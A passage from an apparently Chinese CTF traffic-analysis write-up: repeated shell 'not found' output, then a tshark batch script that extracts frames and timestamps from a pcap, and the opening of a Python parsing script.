found</span><br><span class="line">./bin: 1990: 7c50: not found</span><br><span class="line">./bin: 1991: 7c60: not found</span><br><span class="line">./bin: 1992: 7c70: not found</span><br><span class="line">./bin: 1993: 7c80: not found</span><br><span class="line">./bin: 1994: 7c90: not found</span><br><span class="line">./bin: 1995: 7ca0: not found</span><br><span class="line">./bin: 1996: 7cb0: not found</span><br><span class="line">./bin: 1997: 7cc0: not found</span><br><span class="line">./bin: 1998: 7cd0: not found</span><br><span class="line">./bin: 1999: 7ce0: not found</span><br><span class="line">./bin: 2000: 7cf0: not found</span><br><span class="line">./bin: 2001: 7d00: not found</span><br><span class="line">./bin: 2002: 7d10: not found</span><br><span class="line">./bin: 2003: 7d20: not found</span><br><span class="line">./bin: 2004: 7d30: not found</span><br><span class="line">./bin: 2005: 7d40: not found</span><br><span class="line">./bin: 2006: 7d50: not found</span><br><span class="line">./bin: 2007: 7d60: not found</span><br><span class="line">./bin: 2008: 7d70: not found</span><br><span class="line">./bin: 2009: 7d80: not found</span><br><span class="line">./bin: 2010: 7d90: not found</span><br><span class="line">./bin: 2011: 7da0: not found</span><br><span class="line">./bin: 2012: 7db0: not found</span><br><span class="line">./bin: 2013: 7dc0: not found</span><br><span class="line">./bin: 2014: 7dd0: not found</span><br><span class="line">./bin: 2015: 7de0: not found</span><br><span class="line">./bin: 2016: 7df0: not found</span><br><span class="line">./bin: 2017: 7e00: not found</span><br><span class="line">./bin: 2018: 7e10: not found</span><br><span class="line">./bin: 2019: 7e20: not found</span><br><span class="line">./bin: 2020: 7e30: not found</span><br><span class="line">./bin: 2021: 7e40: not found</span><br><span class="line">./bin: 2022: 7e50: not found</span><br><span class="line">./bin: 2023: 7e60: not found</span><br><span class="line">./bin: 2024: 7e70: not found</span><br><span class="line">./bin: 2025: 7e80: not found</span><br><span class="line">./bin: 2026: 7e90: not found</span><br><span class="line">./bin: 2027: 7ea0: not found</span><br><span class="line">./bin: 2028: 7eb0: not found</span><br><span class="line">./bin: 2029: 7ec0: not found</span><br><span class="line">./bin: 2030: 7ed0: not found</span><br><span class="line">./bin: 2031: 7ee0: not found</span><br><span class="line">./bin: 2032: 7ef0: not found</span><br><span class="line">./bin: 2033: 7f00: not found</span><br><span class="line">./bin: 2034: 7f10: not found</span><br><span class="line">./bin: 2035: 7f20: not found</span><br><span class="line">./bin: 2036: 7f30: not found</span><br><span class="line">./bin: 2037: 7f40: not found</span><br><span class="line">./bin: 2038: 7f50: not found</span><br><span class="line">./bin: 2039: 7f60: not found</span><br><span class="line">./bin: 2040: 7f70: not found</span><br><span class="line">./bin: 2041: 7f80: not found</span><br><span class="line">./bin: 2042: 7f90: not found</span><br><span class="line">./bin: 2043: 7fa0: not found</span><br><span class="line">./bin: 2044: 7fb0: not found</span><br><span class="line">./bin: 2045: 7fc0: not found</span><br><span class="line">./bin: 2046: 7fd0: not found</span><br><span class="line">./bin: 2047: 7fe0: not found</span><br><span class="line">./bin: 2048: 7ff0: not found</span><br><span class="line">./bin: 2049: 8000: not found</span><br><span class="line">./bin: 2050: 8010: not found</span><br><span class="line">./bin: 2051: 8020: not found</span><br><span class="line">./bin: 2052: 8030: not found</span><br><span class="line">./bin: 2053: 8040: not found</span><br><span class="line">./bin: 2054: 8050: not found</span><br><span class="line">./bin: 2055: 8060: not found</span><br><span class="line">./bin: 2056: 8070: not found</span><br><span class="line">./bin: 2057: 8080: not found</span><br><span class="line">./bin: 2058: 8090: not found</span><br><span class="line">./bin: 2059: 80a0: not found</span><br><span class="line">./bin: 2060: 80b0: not found</span><br><span class="line">./bin: 2061: 80c0: not found</span><br><span class="line">./bin: 2062: 80d0: not found</span><br><span class="line">./bin: 2063: 80e0: not found</span><br><span class="line">./bin: 2064: 80f0: not found</span><br><span class="line">./bin: 2065: 8100: not found</span><br><span class="line">./bin: 2066: 8110: not found</span><br><span class="line">./bin: 2067: 8120: not found</span><br><span class="line">./bin: 2068: 8130: not found</span><br><span class="line">./bin: 2069: 8140: not found</span><br><span class="line">./bin: 2070: 8150: not found</span><br><span class="line">./bin: 2071: 8160: not found</span><br><span class="line">./bin: 2072: 8170: not found</span><br><span class="line">./bin: 2073: 8180: not found</span><br><span class="line">./bin: 2074: 8190: not found</span><br><span class="line">./bin: 2075: 81a0: not found</span><br><span class="line">./bin: 2076: 81b0: not found</span><br><span class="line">./bin: 2077: 81c0: not found</span><br><span class="line">./bin: 2078: 81d0: not found</span><br><span class="line">./bin: 2079: 81e0: not found</span><br><span class="line">./bin: 2080: 81f0: not found</span><br><span class="line">./bin: 2081: 8200: not found</span><br><span class="line">./bin: 2082: 8210: not found</span><br><span class="line">./bin: 2083: 8220: not found</span><br><span class="line">./bin: 2084: 8230: not found</span><br><span class="line">./bin: 2085: 8240: not found</span><br><span class="line">./bin: 2086: 8250: not found</span><br><span class="line">./bin: 2087: 8260: not found</span><br><span class="line">./bin: 2088: 8270: not found</span><br><span class="line">./bin: 2089: 8280: not found</span><br><span class="line">./bin: 2090: 8290: not found</span><br><span class="line">./bin: 2091: 82a0: not found</span><br><span class="line">./bin: 2092: 82b0: not found</span><br><span class="line">./bin: 2093: 82c0: not found</span><br><span class="line">./bin: 2094: 82d0: not found</span><br><span class="line">./bin: 2095: 82e0: not found</span><br><span class="line">./bin: 2096: 82f0: not found</span><br><span class="line">./bin: 2097: 8300: not found</span><br><span class="line">./bin: 2098: 8310: not found</span><br><span class="line">./bin: 2099: 8320: not found</span><br><span class="line">./bin: 2100: 8330: not found</span><br><span class="line">./bin: 2101: 8340: not found</span><br><span class="line">./bin: 2102: 8350: not found</span><br><span class="line">./bin: 2103: 8360: not found</span><br><span class="line">./bin: 2104: 8370: not found</span><br><span class="line">./bin: 2105: 8380: not found</span><br><span class="line">./bin: 2106: 8390: not found</span><br><span class="line">./bin: 2107: 83a0: not found</span><br><span class="line">./bin: 2108: 83b0: not found</span><br><span class="line">./bin: 2109: 83c0: not found</span><br><span class="line">./bin: 2110: 83d0: not found</span><br><span class="line">./bin: 2111: 83e0: not found</span><br><span class="line">./bin: 2112: 83f0: not found</span><br><span class="line">./bin: 2113: 8400: not found</span><br><span class="line">./bin: 2114: 8410: not found</span><br><span class="line">./bin: 2115: 8420: not found</span><br><span class="line">./bin: 2116: 8430: not found</span><br><span class="line">./bin: 2117: 8440: not found</span><br><span class="line">./bin: 2118: 8450: not found</span><br><span class="line">./bin: 2119: 8460: not found</span><br><span class="line">./bin: 2120: 8470: not found</span><br><span class="line">./bin: 2121: 8480: not found</span><br><span class="line">./bin: 2122: 8490: not found</span><br><span class="line">./bin: 2123: 84a0: not found</span><br><span class="line">./bin: 2124: 84b0: not found</span><br><span class="line">./bin: 2125: 84c0: not found</span><br><span class="line">./bin: 2126: 84d0: not found</span><br><span class="line">./bin: 2127: 84e0: not found</span><br><span class="line">./bin: 2128: 84f0: not found</span><br><span class="line">./bin: 2129: 8500: not found</span><br><span class="line">./bin: 2130: 8510: not found</span><br><span class="line">./bin: 2131: 8520: not found</span><br><span class="line">./bin: 2132: 8530: not found</span><br><span class="line">./bin: 2133: 8540: not found</span><br><span class="line">./bin: 2134: 8550: not found</span><br><span class="line">./bin: 2135: 8560: not found</span><br><span class="line">./bin: 2136: 8570: not found</span><br><span class="line">./bin: 2137: 8580: not found</span><br><span class="line">./bin: 2138: 8590: not found</span><br><span class="line">./bin: 2139: 85a0: not found</span><br><span class="line">./bin: 2140: 85b0: not found</span><br><span class="line">./bin: 2141: 85c0: not found</span><br><span class="line">./bin: 2142: 85d0: not found</span><br><span class="line">./bin: 2143: 85e0: not found</span><br><span class="line">./bin: 2144: 85f0: not found</span><br><span class="line">./bin: 2145: 8600: not found</span><br><span class="line">./bin: 2146: 8610: not found</span><br><span class="line">./bin: 2147: 8620: not found</span><br><span class="line">./bin: 2148: 8630: not found</span><br><span class="line">./bin: 2149: 8640: not found</span><br><span class="line">./bin: 2150: 8650: not found</span><br><span class="line">./bin: 2151: 8660: not found</span><br><span class="line">./bin: 2152: 8670: not found</span><br><span class="line">./bin: 2153: 8680: not found</span><br><span class="line">./bin: 2154: 8690: not found</span><br><span class="line">./bin: 2155: 86a0: not found</span><br><span class="line">./bin: 2156: 86b0: not found</span><br><span class="line">./bin: 2157: 86c0: not found</span><br><span class="line">./bin: 2158: 86d0: not found</span><br><span class="line">./bin: 2159: 86e0: not found</span><br><span class="line">./bin: 2160: 86f0: not found</span><br><span class="line">./bin: 2161: 8700: not found</span><br><span class="line">./bin: 2162: 8710: not found</span><br><span class="line">./bin: 2163: 8720: not found</span><br><span class="line">./bin: 2164: 8730: not found</span><br><span class="line">./bin: 2165: 8740: not found</span><br><span class="line">./bin: 2166: 8750: not found</span><br><span class="line">./bin: 2167: 8760: not found</span><br><span class="line">./bin: 2168: 8770: not found</span><br><span class="line">./bin: 2169: 8780: not found</span><br><span class="line">./bin: 2170: 8790: not found</span><br><span class="line">./bin: 2171: 87a0: not found</span><br><span class="line">./bin: 2172: 87b0: not found</span><br><span class="line">./bin: 2173: 87c0: not found</span><br><span class="line">./bin: 2174: 87d0: not found</span><br><span class="line">./bin: 2175: 87e0: not found</span><br><span class="line">./bin: 2176: 87f0: not found</span><br><span class="line">./bin: 2177: 8800: not found</span><br><span class="line">./bin: 2178: 8810: not found</span><br><span class="line">./bin: 2179: 8820: not found</span><br><span class="line">./bin: 2180: 8830: not found</span><br><span class="line">./bin: 2181: 8840: not found</span><br><span class="line">./bin: 2182: 8850: not found</span><br><span class="line">./bin: 2183: 8860: not found</span><br><span class="line">./bin: 2184: 8870: not found</span><br><span class="line">./bin: 2185: 8880: not found</span><br><span class="line">./bin: 2186: 8890: not found</span><br><span class="line">./bin: 2187: 88a0: not found</span><br><span class="line">./bin: 2188: 88b0: not found</span><br><span class="line">./bin: 2189: 88c0: not found</span><br><span class="line">./bin: 2190: 88d0: not found</span><br><span class="line">./bin: 2191: 88e0: not found</span><br><span class="line">./bin: 2192: 88f0: not found</span><br><span class="line">./bin: 2193: 8900: not found</span><br><span class="line">./bin: 2194: 8910: not found</span><br><span class="line">./bin: 2195: 8920: not found</span><br><span class="line">./bin: 2196: 8930: not found</span><br><span class="line">./bin: 2197: 8940: not found</span><br><span class="line">./bin: 2198: 8950: not found</span><br><span class="line">./bin: 2199: 8960: not found</span><br><span class="line">./bin: 2200: 8970: not found</span><br><span class="line">./bin: 2201: 8980: not found</span><br><span class="line">./bin: 2202: 8990: not found</span><br><span class="line">./bin: 2203: 89a0: not found</span><br><span class="line">./bin: 2204: 89b0: not found</span><br><span class="line">./bin: 2205: 89c0: not found</span><br><span class="line">./bin: 2206: 89d0: not found</span><br><span class="line">./bin: 2207: 89e0: not found</span><br><span class="line">./bin: 2208: 89f0: not found</span><br><span class="line">./bin: 2209: 8a00: not found</span><br><span class="line">./bin: 2210: 8a10: not found</span><br><span class="line">./bin: 2211: 8a20: not found</span><br><span class="line">./bin: 2212: 8a30: not found</span><br><span class="line">./bin: 2213: 8a40: not found</span><br><span class="line">./bin: 2214: 8a50: not found</span><br><span class="line">./bin: 2215: 8a60: not found</span><br><span class="line">./bin: 2216: 8a70: not found</span><br><span class="line">./bin: 2217: 8a80: not found</span><br><span class="line">./bin: 2218: 8a90: not found</span><br><span class="line">./bin: 2219: 8aa0: not found</span><br><span class="line">./bin: 2220: 8ab0: not found</span><br><span class="line">./bin: 2221: 8ac0: not found</span><br><span class="line">./bin: 2222: 8ad0: not found</span><br><span class="line">./bin: 2223: 8ae0: not found</span><br><span class="line">./bin: 2224: 8af0: not found</span><br><span class="line">./bin: 2225: 8b00: not found</span><br><span class="line">./bin: 2226: 8b10: not found</span><br><span class="line">./bin: 2227: 8b20: not found</span><br><span class="line">./bin: 2228: 8b30: not found</span><br><span class="line">./bin: 2229: 8b40: not found</span><br><span class="line">./bin: 2230: 8b50: not found</span><br><span class="line">./bin: 2231: 8b60: not found</span><br><span class="line">./bin: 2232: 8b70: not found</span><br><span class="line">./bin: 2233: 8b80: not found</span><br><span class="line">./bin: 2234: 8b90: not found</span><br><span class="line">./bin: 2235: 8ba0: not found</span><br><span class="line">./bin: 2236: 8bb0: not found</span><br><span class="line">./bin: 2237: 8bc0: not found</span><br><span class="line">./bin: 2238: 8bd0: not found</span><br><span class="line">./bin: 2239: 8be0: not found</span><br><span class="line">./bin: 2240: 8bf0: not found</span><br><span class="line">./bin: 2241: 8c00: not found</span><br><span class="line">./bin: 2242: 8c10: not found</span><br><span class="line">./bin: 2243: 8c20: not found</span><br><span class="line">./bin: 2244: 8c30: not found</span><br><span class="line">./bin: 2245: 8c40: not found</span><br><span class="line">./bin: 2246: 8c50: not found</span><br><span class="line">./bin: 2247: 8c60: not found</span><br><span class="line">./bin: 2248: 8c70: not found</span><br><span class="line">./bin: 2249: 8c80: not found</span><br><span class="line">./bin: 2250: 8c90: not found</span><br><span class="line">./bin: 2251: 8ca0: not found</span><br><span class="line">./bin: 2252: 8cb0: not found</span><br><span class="line">./bin: 2253: 8cc0: not found</span><br><span class="line">./bin: 2254: 8cd0: not found</span><br><span class="line">./bin: 2255: 8ce0: not found</span><br><span class="line">./bin: 2256: 8cf0: not found</span><br><span class="line">./bin: 2257: 8d00: not found</span><br><span class="line">./bin: 2258: 8d10: not found</span><br><span class="line">./bin: 2259: 8d20: not found</span><br><span class="line">./bin: 2260: 8d30: not found</span><br><span class="line">./bin: 2261: 8d40: not found</span><br><span class="line">./bin: 2262: 8d50: not found</span><br><span class="line">./bin: 2263: 8d60: not found</span><br><span class="line">./bin: 2264: 8d70: not found</span><br><span class="line">./bin: 2265: 8d80: not found</span><br><span class="line">./bin: 2266: 8d90: not found</span><br><span class="line">./bin: 2267: 8da0: not found</span><br><span class="line">./bin: 2268: 8db0: not found</span><br><span class="line">./bin: 2269: 8dc0: not found</span><br><span class="line">./bin: 2270: 8dd0: not found</span><br><span class="line">./bin: 2271: 8de0: not found</span><br><span class="line">./bin: 2272: 8df0: not found</span><br><span class="line">./bin: 2273: 8e00: not found</span><br><span class="line">./bin: 2274: 8e10: not found</span><br><span class="line">./bin: 2275: 8e20: not found</span><br><span class="line">./bin: 2276: 8e30: not found</span><br><span class="line">./bin: 2277: 8e40: not found</span><br><span class="line">./bin: 2278: 8e50: not found</span><br><span class="line">./bin: 2279: 8e60: not found</span><br><span class="line">./bin: 2280: 8e70: not found</span><br><span class="line">./bin: 2281: 8e80: not found</span><br><span class="line">./bin: 2282: 8e90: not found</span><br><span class="line">./bin: 2283: 8ea0: not found</span><br><span class="line">./bin: 2284: 8eb0: not found</span><br><span class="line">./bin: 2285: 8ec0: not found</span><br><span class="line">./bin: 2286: 8ed0: not found</span><br><span class="line">./bin: 2287: 8ee0: not found</span><br><span class="line">./bin: 2288: 8ef0: not found</span><br><span class="line">./bin: 2289: 8f00: not found</span><br><span class="line">./bin: 2290: 8f10: not found</span><br><span class="line">./bin: 2291: 8f20: not found</span><br><span class="line">./bin: 2292: 8f30: not found</span><br><span class="line">./bin: 2293: 8f40: not found</span><br><span class="line">./bin: 2294: 8f50: not found</span><br><span class="line">./bin: 2295: 8f60: not found</span><br><span class="line">./bin: 2296: 8f70: not found</span><br><span class="line">./bin: 2297: 8f80: not found</span><br><span class="line">./bin: 2298: 8f90: not found</span><br><span class="line">./bin: 2299: 8fa0: not found</span><br><span class="line">./bin: 2300: 8fb0: not found</span><br><span class="line">./bin: 2301: 8fc0: not found</span><br><span class="line">./bin: 2302: 8fd0: not found</span><br><span class="line">./bin: 2303: 8fe0: not found</span><br><span class="line">./bin: 2304: 8ff0: not found</span><br><span class="line">./bin: 2305: 9000: not found</span><br><span class="line">./bin: 2306: 9010: not found</span><br><span class="line">./bin: 2307: 9020: not found</span><br><span class="line">./bin: 2308: 9030: not found</span><br><span class="line">./bin: 2309: 9040: not found</span><br><span class="line">./bin: 2310: 9050: not found</span><br><span class="line">./bin: 2311: 9060: not found</span><br><span class="line">./bin: 2312: 9070: not found</span><br><span class="line">./bin: 2313: 9080: not found</span><br><span class="line">./bin: 2314: 9090: not found</span><br><span class="line">./bin: 2315: 90a0: not found</span><br><span class="line">./bin: 2316: 90b0: not found</span><br><span class="line">./bin: 2317: 90c0: not found</span><br><span class="line">./bin: 2318: 90d0: not found</span><br><span class="line">./bin: 2319: 90e0: not found</span><br><span class="line">./bin: 2320: 90f0: not found</span><br><span class="line">./bin: 2321: 9100: not found</span><br><span class="line">./bin: 2322: 9110: not found</span><br><span class="line">./bin: 2323: 9120: not found</span><br><span class="line">./bin: 2324: 9130: not found</span><br><span class="line">./bin: 2325: 9140: not found</span><br><span class="line">./bin: 2326: 9150: not found</span><br><span class="line">./bin: 2327: 9160: not found</span><br><span class="line">./bin: 2328: 9170: not found</span><br><span class="line">./bin: 2329: 9180: not found</span><br><span class="line">./bin: 2330: 9190: not found</span><br><span class="line">./bin: 2331: 91a0: not found</span><br><span class="line">./bin: 2332: 91b0: not found</span><br><span class="line">./bin: 2333: 91c0: not found</span><br><span class="line">./bin: 2334: 91d0: not found</span><br><span class="line">./bin: 2335: 91e0: not found</span><br><span class="line">./bin: 2336: 91f0: not found</span><br><span class="line">./bin: 2337: 9200: not found</span><br><span class="line">./bin: 2338: 9210: not found</span><br><span class="line">./bin: 2339: 9220: not found</span><br><span class="line">./bin: 2340: 9230: not found</span><br><span class="line">./bin: 2341: 9240: not found</span><br><span class="line">./bin: 2342: 9250: not found</span><br><span class="line">./bin: 2343: 9260: not found</span><br><span class="line">./bin: 2344: 9270: not found</span><br><span class="line">./bin: 2345: 9280: not found</span><br><span class="line">./bin: 2346: 9290: not found</span><br><span class="line">./bin: 2347: 92a0: not found</span><br><span class="line">./bin: 2348: 92b0: not found</span><br><span class="line">./bin: 2349: 92c0: not found</span><br><span class="line">./bin: 2350: 92d0: not found</span><br><span class="line">./bin: 2351: 92e0: not found</span><br><span class="line">./bin: 2352: 92f0: not found</span><br><span class="line">./bin: 2353: 9300: not found</span><br><span class="line">./bin: 2354: 9310: not found</span><br><span class="line">./bin: 2355: 9320: not found</span><br><span class="line">./bin: 2356: 9330: not found</span><br><span class="line">./bin: 2357: 9340: not found</span><br><span class="line">./bin: 2358: 9350: not found</span><br><span class="line">./bin: 2359: 9360: not found</span><br><span class="line">./bin: 2360: 9370: not found</span><br><span class="line">./bin: 2361: 9380: not found</span><br><span class="line">./bin: 2362: 9390: not found</span><br><span class="line">./bin: 2363: 93a0: not found</span><br><span class="line">./bin: 2364: 93b0: not found</span><br><span class="line">./bin: 2365: 93c0: not found</span><br><span class="line">./bin: 2366: 93d0: not found</span><br><span class="line">./bin: 2367: 93e0: not found</span><br><span class="line">./bin: 2368: 93f0: not found</span><br><span class="line">./bin: 2369: 9400: not found</span><br><span class="line">./bin: 2370: 9410: not found</span><br><span class="line">./bin: 2371: 9420: not found</span><br><span class="line">./bin: 2372: 9430: not found</span><br><span class="line">./bin: 2373: 9440: not found</span><br><span class="line">./bin: 2374: 9450: not found</span><br><span class="line">./bin: 2375: 9460: not found</span><br><span class="line">./bin: 2376: 9470: not found</span><br><span class="line">./bin: 2377: 9480: not found</span><br><span class="line">./bin: 2378: 9490: not found</span><br><span class="line">./bin: 2379: 94a0: not found</span><br><span class="line">./bin: 2380: 94b0: not found</span><br><span class="line">./bin: 2381: 94c0: not found</span><br><span class="line">./bin: 2382: 94d0: not found</span><br><span class="line">./bin: 2383: 94e0: not found</span><br><span class="line">./bin: 2384: 94f0: not found</span><br><span class="line">./bin: 2385: 9500: not found</span><br><span class="line">./bin: 2386: 9510: not found</span><br><span class="line">./bin: 2387: 9520: not found</span><br><span class="line">./bin: 2388: 9530: not found</span><br><span class="line">./bin: 2389: 9540: not found</span><br><span class="line">./bin: 2390: 9550: not found</span><br><span class="line">./bin: 2391: 9560: not found</span><br><span class="line">./bin: 2392: 9570: not found</span><br><span class="line">./bin: 2393: 9580: not found</span><br><span class="line">./bin: 2394: 9590: not found</span><br><span class="line">./bin: 2395: 95a0: not found</span><br><span class="line">./bin: 2396: 95b0: not found</span><br><span class="line">./bin: 2397: 95c0: not found</span><br><span class="line">./bin: 2398: 95d0: not found</span><br><span class="line">./bin: 2399: 95e0: not found</span><br><span class="line">./bin: 2400: 95f0: not found</span><br><span class="line">./bin: 2401: 9600: not found</span><br><span class="line">./bin: 2402: 9610: not found</span><br><span class="line">./bin: 2403: 9620: not found</span><br><span class="line">./bin: 2404: 9630: not found</span><br><span class="line">./bin: 2405: 9640: not found</span><br><span class="line">./bin: 2406: 9650: not found</span><br><span class="line">./bin: 2407: 9660: not found</span><br><span class="line">./bin: 2408: 9670: not found</span><br><span class="line">./bin: 2409: 9680: not found</span><br><span class="line">./bin: 2410: 9690: not found</span><br><span class="line">./bin: 2411: 96a0: not found</span><br><span class="line">./bin: 2412: 96b0: not found</span><br><span class="line">./bin: 2413: 96c0: not found</span><br><span class="line">./bin: 2414: 96d0: not found</span><br><span class="line">./bin: 2415: 96e0: not found</span><br><span class="line">./bin: 2416: 96f0: not found</span><br><span class="line">./bin: 2417: 9700: not found</span><br><span class="line">./bin: 2418: 9710: not found</span><br><span class="line">./bin: 2419: 9720: not found</span><br><span class="line">./bin: 2420: 9730: not found</span><br><span class="line">./bin: 2421: 9740: not found</span><br><span class="line">./bin: 2422: 9750: not found</span><br><span class="line">./bin: 2423: 9760: not found</span><br><span class="line">./bin: 2424: 9770: not found</span><br><span class="line">./bin: 2425: 9780: not found</span><br><span class="line">./bin: 2426: 9790: not found</span><br><span class="line">./bin: 2427: 97a0: not found</span><br><span class="line">./bin: 2428: 97b0: not found</span><br><span class="line">./bin: 2429: 97c0: not found</span><br><span class="line">./bin: 2430: 97d0: not found</span><br><span class="line">./bin: 2431: 97e0: not found</span><br><span class="line">./bin: 2432: 97f0: not found</span><br><span class="line">./bin: 2433: 9800: not found</span><br><span class="line">./bin: 2434: 9810: not found</span><br><span class="line">./bin: 2435: 9820: not found</span><br><span class="line">./bin: 2436: 9830: not found</span><br><span class="line">./bin: 2437: 9840: not found</span><br><span class="line">./bin: 2438: 9850: not found</span><br><span class="line">./bin: 2439: 9860: not found</span><br><span class="line">./bin: 2440: 9870: not found</span><br><span class="line">./bin: 2441: 9880: not found</span><br><span class="line">./bin: 2442: 9890: not found</span><br><span class="line">./bin: 2443: 98a0: not found</span><br><span class="line">./bin: 2444: 98b0: not found</span><br><span class="line">./bin: 2445: 98c0: not found</span><br><span class="line">./bin: 2446: 98d0: not found</span><br><span class="line">./bin: 2447: 98e0: not found</span><br><span class="line">./bin: 2448: 98f0: not found</span><br><span class="line">./bin: 2449: 9900: not found</span><br><span class="line">./bin: 2450: 9910: not found</span><br><span class="line">./bin: 2451: 9920: not found</span><br><span class="line">./bin: 2452: 9930: not found</span><br><span class="line">./bin: 2453: 9940: not found</span><br><span class="line">./bin: 2454: 9950: not found</span><br><span class="line">./bin: 2455: 9960: not found</span><br><span class="line">./bin: 2456: 9970: not found</span><br><span class="line">./bin: 2457: 9980: not found</span><br><span class="line">./bin: 2458: 9990: not found</span><br><span class="line">./bin: 2459: 99a0: not found</span><br><span class="line">./bin: 2460: 99b0: not found</span><br><span class="line">./bin: 2461: 99c0: not found</span><br><span class="line">./bin: 2462: 99d0: not found</span><br><span class="line">./bin: 2463: 99e0: not found</span><br><span class="line">./bin: 2464: 99f0: not found</span><br><span class="line">./bin: 2465: 9a00: not found</span><br><span class="line">./bin: 2466: 9a10: not found</span><br><span class="line">./bin: 2467: 9a20: not found</span><br><span class="line">./bin: 2468: 9a30: not found</span><br><span class="line">./bin: 2469: 9a40: not found</span><br><span class="line">./bin: 2470: 9a50: not found</span><br><span class="line">./bin: 2471: 9a60: not found</span><br><span class="line">./bin: 2472: 9a70: not found</span><br><span class="line">./bin: 2473: 9a80: not found</span><br><span class="line">./bin: 2474: 9a90: not found</span><br><span class="line">./bin: 2475: 9aa0: not found</span><br><span class="line">./bin: 2476: 9ab0: not found</span><br><span class="line">./bin: 2477: 9ac0: not found</span><br><span class="line">./bin: 2478: 9ad0: not found</span><br><span class="line">./bin: 2479: 9ae0: not found</span><br><span class="line">./bin: 2480: 9af0: not found</span><br><span class="line">./bin: 2481: 9b00: not found</span><br><span class="line">./bin: 2482: 9b10: not found</span><br><span class="line">./bin: 2483: 9b20: not found</span><br><span class="line">./bin: 2484: 9b30: not found</span><br><span class="line">./bin: 2485: 9b40: not found</span><br><span class="line">./bin: 2486: 9b50: not found</span><br><span class="line">./bin: 2487: 9b60: not found</span><br><span class="line">./bin: 2488: 9b70: not found</span><br><span class="line">./bin: 2489: 9b80: not found</span><br><span class="line">./bin: 2490: 9b90: not found</span><br><span class="line">./bin: 2491: 9ba0: not found</span><br><span class="line">./bin: 2492: 9bb0: not found</span><br><span class="line">./bin: 2493: 9bc0: not found</span><br><span class="line">./bin: 2494: 9bd0: not found</span><br><span class="line">./bin: 2495: 9be0: not found</span><br><span class="line">./bin: 2496: 9bf0: not found</span><br><span class="line">./bin: 2497: 9c00: not found</span><br><span class="line">./bin: 2498: 9c10: not found</span><br><span class="line">./bin: 2499: 9c20: not found</span><br><span class="line">./bin: 2500: 9c30: not found</span><br><span class="line">./bin: 2501: 9c40: not found</span><br><span class="line">./bin: 2502: 9c50: not found</span><br><span class="line">./bin: 2503: 9c60: not found</span><br><span class="line">./bin: 2504: 9c70: not found</span><br><span class="line">./bin: 2505: 9c80: not found</span><br><span class="line">./bin: 2506: 9c90: not found</span><br><span class="line">./bin: 2507: 9ca0: not found</span><br><span class="line">./bin: 2508: 9cb0: not found</span><br><span class="line">./bin: 2509: 9cc0: not found</span><br><span class="line">./bin: 2510: 9cd0: not found</span><br><span class="line">./bin: 2511: 9ce0: not found</span><br><span class="line">./bin: 2512: 9cf0: not found</span><br><span class="line">./bin: 2513: 9d00: not found</span><br><span class="line">./bin: 2514: 9d10: not found</span><br><span class="line">./bin: 2515: 9d20: not found</span><br><span class="line">./bin: 2516: 9d30: not found</span><br><span class="line">./bin: 2517: 9d40: not found</span><br><span class="line">./bin: 2518: 9d50: not found</span><br><span class="line">./bin: 2519: 9d60: not found</span><br><span class="line">./bin: 2520: 9d70: not found</span><br><span class="line">./bin: 2521: 9d80: not found</span><br><span class="line">./bin: 2522: 9d90: not found</span><br><span class="line">./bin: 2523: 9da0: not found</span><br><span class="line">./bin: 2524: 9db0: not found</span><br><span class="line">./bin: 2525: 9dc0: not found</span><br><span class="line">./bin: 2526: 9dd0: not found</span><br><span class="line">./bin: 2527: 9de0: not found</span><br><span class="line">./bin: 2528: 9df0: not found</span><br><span class="line">./bin: 2529: 9e00: not found</span><br><span class="line">./bin: 2530: 9e10: not found</span><br><span class="line">./bin: 2531: 9e20: not found</span><br><span class="line">./bin: 2532: 9e30: not found</span><br><span class="line">./bin: 2533: 9e40: not found</span><br><span class="line">./bin: 2534: 9e50: not found</span><br><span class="line">./bin: 2535: 9e60: not found</span><br><span class="line">./bin: 2536: 9e70: not found</span><br><span class="line">./bin: 2537: 9e80: not found</span><br><span class="line">./bin: 2538: 9e90: not found</span><br><span class="line">./bin: 2539: 9ea0: not found</span><br><span class="line">./bin: 2540: 9eb0: not found</span><br><span class="line">./bin: 2541: 9ec0: not found</span><br><span class="line">./bin: 2542: 9ed0: not found</span><br><span class="line">./bin: 2543: 9ee0: not found</span><br><span class="line">./bin: 2544: 9ef0: not found</span><br><span class="line">./bin: 2545: 9f00: not found</span><br><span class="line">./bin: 2546: 9f10: not found</span><br><span class="line">./bin: 2547: 9f20: not found</span><br><span class="line">./bin: 2548: 9f30: not found</span><br><span class="line">./bin: 2549: 9f40: not found</span><br><span class="line">./bin: 2550: 9f50: not found</span><br><span class="line">./bin: 2551: 9f60: not found</span><br></pre></td></tr></table></figure><p>服务器为 <code>172.18.0.2</code>，客户端为 <code>172.18.0.3</code></p><p>因为题目给了与时间戳有关，写个脚本用 tshark 给提取出来</p><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">@<span class="built_in">echo</span> off</span><br><span class="line"><span class="built_in">echo</span> Extracting data...</span><br><span class="line">tshark -r .\output.pcap -Y &quot;tcp &amp;&amp; frame.number &gt; <span class="number">11</span>&quot; -T &quot;fields&quot; -e &quot;frame&quot; -e &quot;frame.time_epoch&quot; -e &quot;data.data&quot; --disable-protocol &quot;http&quot; &gt; data.txt</span><br><span class="line"><span class="built_in">echo</span> Extracting frames...</span><br><span class="line">tshark -r .\output.pcap -Y &quot;tcp &amp;&amp; frame.number &gt; <span class="number">11</span>&quot; -T &quot;fields&quot; -e &quot;frame&quot; -e &quot;frame.time_epoch&quot; --disable-protocol &quot;http&quot; &gt; frame.txt</span><br><span class="line"><span class="built_in">echo</span> Extracting <span class="built_in">time</span>...</span><br><span class="line">tshark -r .\output.pcap -Y &quot;tcp &amp;&amp; frame.number &gt; <span class="number">11</span>&quot; -T &quot;fields&quot; -e &quot;frame.time_epoch&quot; --disable-protocol &quot;http&quot; &gt; <span class="built_in">time</span>.txt</span><br></pre></td></tr></table></figure><p>这样就能够提取出来三个文件（主要是为了对应分析才提取的三个文件）</p><p>先写一个脚本提取内容</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pprint <span class="keyword">import</span> pprint</span><br><span class="line">data_with_time = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title 